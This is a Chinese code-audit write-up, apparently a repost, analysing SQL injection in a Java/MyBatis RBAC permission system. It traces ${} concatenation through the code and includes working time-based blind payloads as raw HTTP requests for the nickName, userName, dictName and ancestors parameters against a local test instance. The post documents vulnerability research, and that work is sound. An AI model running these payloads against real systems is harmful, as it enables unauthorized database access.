【代码审计】RBAC权限管理系统-SQL注入漏洞

admin 2024年6月17日14:26:14评论11 views字数 5244阅读17分28秒阅读模式

一、项目部署

1、在IDEA中启动项目

【代码审计】RBAC权限管理系统-SQL注入漏洞

【代码审计】RBAC权限管理系统-SQL注入漏洞

二、SQL注入漏洞审计

nickName参数SQL注入

该项目使用了Mybatis来定义SQL,所以我们主要查看Myabatis中的Mapper文件中是否存在使用 $ 拼接SQL语句的情况,在Mapper文件中全局搜索${

【代码审计】RBAC权限管理系统-SQL注入漏洞

1、查看UserMapper.xml文件

【代码审计】RBAC权限管理系统-SQL注入漏洞

2、可以看到nickName和userName使用了$拼接变量,有可能存在SQL注入漏洞,接下来我们挨个分析

nickName参数

先追踪到DAO层文件

【代码审计】RBAC权限管理系统-SQL注入漏洞

可以看到getFuzzyUserByPage()方法中传入的参数是一个MyUser实体类,再查看这个实体类,在这个实体类中可以看到nickName和userName这两个参数

【代码审计】RBAC权限管理系统-SQL注入漏洞

继续往上跟,跟到实现层

【代码审计】RBAC权限管理系统-SQL注入漏洞

UserServiceImpl类中调用了getFuzzyUserByPage()方法

【代码审计】RBAC权限管理系统-SQL注入漏洞

继续往上跟,来到service层

【代码审计】RBAC权限管理系统-SQL注入漏洞

点进getAllUsersByPage(),可以发现直接来到的Controller层

【代码审计】RBAC权限管理系统-SQL注入漏洞

并且根据这里的几个注解我们可以得出

该方法对应的功能点为"查询用户"

【代码审计】RBAC权限管理系统-SQL注入漏洞

观察到UserController类被映射到了/api/user接口

所以这里只要用户请求/api/user接口并带上MyUser实体类的参数,就会自动将该参数的值赋值给实体类new出来的对象myUser

构造payload

GET /api/user?page=1&limit=10&userName=1&nickName=1+AND+sleep(5) HTTP/1.1Content-Type: application/jsonHost: 127.0.0.1:8088Cookie: JSESSIONID=C19E8EA001366E48547AC99F8980D962; remember-me=YWRtaW46MTcxOTczNDI5MjU0MDphYmM1YmE5OTdlNjMwMWYwMmE2MjU4OTMxZjEwYzFhOQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36

延时

【代码审计】RBAC权限管理系统-SQL注入漏洞

sqlmap验证

【代码审计】RBAC权限管理系统-SQL注入漏洞

userName参数SQL注入

该SQL注入原理同上,不再叙述了

payload

GET /api/user?page=1&limit=10&nickName=1&userName=1+AND+(SELECT+9940+FROM+(SELECT(SLEEP(5)))rgGT) HTTP/1.1Content-Type: application/jsonHost: 127.0.0.1:8088Cookie: JSESSIONID=C19E8EA001366E48547AC99F8980D962; remember-me=YWRtaW46MTcxOTczNDI5MjU0MDphYmM1YmE5OTdlNjMwMWYwMmE2MjU4OTMxZjEwYzFhOQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36

延时

【代码审计】RBAC权限管理系统-SQL注入漏洞

sqlmap验证

【代码审计】RBAC权限管理系统-SQL注入漏洞

dictName参数SQL注入

原理同上,根据以下路径跟踪即可

【代码审计】RBAC权限管理系统-SQL注入漏洞

payload

GET /api/dict?page=1&limit=10&dictName=1+and+sleep(5) HTTP/1.1Host: 127.0.0.1:8088Accept: application/json, text/javascript, */*; q=0.01Cookie: JSESSIONID=D38C3BF1CBEA080C39D38E1E2508BA9A; remember-me=YWRtaW46MTcxOTc1NDQyNDUyMzplMjBjNGFmYzUwODYzN2VlZThkNWNhMDY5ZWZlODhmZAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0

【代码审计】RBAC权限管理系统-SQL注入漏洞

ancestors参数SQL注入

1、Mapper层代码

【代码审计】RBAC权限管理系统-SQL注入漏洞

2、追踪到DAO层

【代码审计】RBAC权限管理系统-SQL注入漏洞

3、实现层

【代码审计】RBAC权限管理系统-SQL注入漏洞

可以看到在实现层的updateParentDeptStatus()方法调用了updateDeptStatus()方法,我们再追踪到调用updateParentDeptStatus方法

【代码审计】RBAC权限管理系统-SQL注入漏洞

4、可以看到在updateDept()方法中调用了updateParentDeptStatus方法,点进updateDept()方法,来到Controller层

【代码审计】RBAC权限管理系统-SQL注入漏洞

5、可以看到Controller层代码处理了传入的Mydept对象,处理的过程中调用updateDept方法

Mydept实体类的代码如下  

【代码审计】RBAC权限管理系统-SQL注入漏洞

分析到这看起来是一个很平常的SQL注入,但是并不是,因为可以看以下代码

【代码审计】RBAC权限管理系统-SQL注入漏洞

在实现层中传入了dept实例的dept_id属性值,并根据这个id值从数据库获取对应的dept实例,再将数据库获取的dept赋值为dept,所以这里覆盖了我们传入的dept实例。所以这里被覆盖之后dept的ancestors属性值就不会是我们传入的dept属性值了,而是根据传入的id值从数据库中取出来的,所以说在这里我们的ancestors值是不可控。

那为什么说ancestors参数存在SQL注入漏洞呢?

这里就需要注意一点,当某个存在SQL注入的参数在当前输入不可控时,可以找找其他地方,看能否通过其他功能修改该参数,从而使该参数可控

那怎么找呢?找能够控制该参数的对应方法即可,例如这里参数不可控的原因是因为参数是从数据库取出来的,那我们就可以找找什么地方可以修改数据库中的这个值,即在对应的mapper文件中找找insert语句update语句

这里共有三个update语句,并没有insert,所以下面我们来逐个看看这三个update语句

第一个update语句

【代码审计】RBAC权限管理系统-SQL注入漏洞

这个update语句是用于批量更新多个部门的ancestors, 但是它是通过where id in:指定条件,根据部门 id列表更新对应的记录,而且这个id我们是不可控的

看看ChatGPT的解释

【代码审计】RBAC权限管理系统-SQL注入漏洞

来到实现层

【代码审计】RBAC权限管理系统-SQL注入漏洞

public int updateDept(MyDept dept) {    // 获取父部门的信息    MyDept parentInfo = deptDao.selectDeptById(dept.getParentId());    // 获取当前部门的旧信息    MyDept oldInfo = selectDeptById(dept.getDeptId());    // 如果父部门信息和当前部门旧信息都不为空    if (ObjectUtil.isNotEmpty(parentInfo) && ObjectUtil.isNotEmpty(oldInfo)) {        // 生成新的ancestors,格式为:父部门的ancestors + 父部门的ID        String newAncestors = parentInfo.getAncestors() + "," + parentInfo.getDeptId();        // 获取旧的ancestors        String oldAncestors = oldInfo.getAncestors();        // 设置当前部门的ancestors为新的ancestors        dept.setAncestors(newAncestors);        // 更新当前部门的子部门的ancestors        updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors);    }    // 更新当前部门信息    int result = deptDao.updateDept(dept);    // 如果当前部门的状态为正常    if (UserConstants.DEPT_NORMAL.equals(dept.getStatus().toString())) {        // 启用该部门的所有上级部门        updateParentDeptStatus(dept);    }    // 返回更新操作的结果    return result;}

该方法传入的ancestors是

String newAncestors = parentInfo.getAncestors() + "," + parentInfo.getDeptId();  

显然我们要控制这里的ancestors是不可能的(因为部门id我们是不可控的)

第二个update语句

【代码审计】RBAC权限管理系统-SQL注入漏洞

where d.dept_id = #{deptId}        //指定更新的条件,基于部门id 更新对应的记录。

这个update语句将数据库中指定id的dept信息换为传入的dept信息,其中就包含了ancestors参数,所以只要我们能够控制传入dept实例的ancestors属性值,就能够修改数据库中对应的ancestors,造成SQL注入漏洞

看看ChatGPT的解释

【代码审计】RBAC权限管理系统-SQL注入漏洞

来到实现层

【代码审计】RBAC权限管理系统-SQL注入漏洞

可以看到实现类中,传入的dept对象如果有上级部门,并且当前dept对象不为空,就会进入到if条件,然后会去修改我们传入的dept对象的ancestors属性值

如果我们想要控制ancestors,就不能让程序修改我们输入的ancestors属性值,也就不能满足if条件(上级部门信息和当前当前dept对象(部门信息)都不为空)

首先是dept对象不为空
–我们传入的dept对象因为要带有恶意ancestors参数值,所以也肯定不会为空

其次就是有上级部门
–所以我们要尽量保证我们传入的dept对象没有上级部门,这样就不会进入if内部导致输入的ancestors被程序修改

之后程序就会调用updateDept直接替换dept对象的信息到数据库中,我们继续向上追踪,来到Controller层  

【代码审计】RBAC权限管理系统-SQL注入漏洞

可以看到在Controller层中,经过一系列的if条件,然后调用了updateDept方法, 并且该方法对应程序中的"修改部门功能"

经过上面的分析,我们确定这个位置是可以控制数据库中的ancestors值的,只需要在"修改部门"的请求中带上ancestors参数,并且当前部门没有上级部门时,我们输入的ancestors就会覆盖数据库中ancestors参数值,即实现了ancestors参数可控

又因为刚才我们发现的SQL语句使用$拼接了ancestors参数,所以这里存在SQL注入漏洞

【代码审计】RBAC权限管理系统-SQL注入漏洞

第三个update语句

【代码审计】RBAC权限管理系统-SQL注入漏洞

这个update语句不涉及ancestors参数,所以就不需要再分析

看看ChatGPT的解释

【代码审计】RBAC权限管理系统-SQL注入漏洞

三、漏洞复现

这个漏洞点位于“修改部门‘功能,我们来到部门管理页面

【代码审计】RBAC权限管理系统-SQL注入漏洞

选一个没有上级部门的部门进行修改

【代码审计】RBAC权限管理系统-SQL注入漏洞

可以看到请求并没有携带ancestors参数,但是我们刚才分析此处是可以传入ancestors参数的,因为接收的是Mydept类【代码审计】RBAC权限管理系统-SQL注入漏洞

Mydept类有的属性都可以接收

【代码审计】RBAC权限管理系统-SQL注入漏洞

构造payload

PUT /api/dept HTTP/1.1Host: 127.0.0.1:8088Sec-Fetch-Mode: corsAccept: application/json, text/javascript, */*; q=0.01Cookie: JSESSIONID=966124AD0558B0F404998C6158F56C58; remember-me=YWRtaW46MTcxOTc1MDE1MjI2ODozYjliNWYzODZmNzczY2RkNmFhZDMwYzU4Mzg0M2FmZASec-Fetch-Dest: emptySec-Fetch-Site: same-originAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0Content-Type: application/json{"deptId":"1","deptName":"南京总公司","sort":"1","status":"1","parentId":"0","dataTree_select_nodeId":"","dataTree_select_input":"","ancestors":"1) and sleep(5)#"}

【代码审计】RBAC权限管理系统-SQL注入漏洞

四、参考链接

https://zhuanlan.zhihu.com/p/524143744
https://mp.weixin.qq.com/s/-97Z3ZvVMP74L1oPsf_zBQ

原文始发于微信公众号(安全攻防屋):【代码审计】RBAC权限管理系统-SQL注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日14:26:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【代码审计】RBAC权限管理系统-SQL注入漏洞http://cn-sec.com/archives/2854344.html

发表评论

匿名网友 填写信息